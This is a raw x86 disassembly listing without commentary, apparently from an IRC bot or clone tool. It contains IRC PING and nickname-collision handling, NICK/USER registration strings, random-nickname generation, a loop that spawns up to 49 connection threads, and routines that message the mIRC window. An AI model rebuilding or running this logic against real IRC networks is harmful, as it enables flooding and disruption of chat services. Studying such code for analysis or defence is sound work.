		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387B4
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387A4

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF0[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680835h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27C0000h
		nop
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		call	near ptr 27D05A3h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 27D0000h
		nop
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27E0195h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 27E0000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		call	near ptr 27D0B78h
		nop
		push	edi
		nop
		call	near ptr 2660969h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
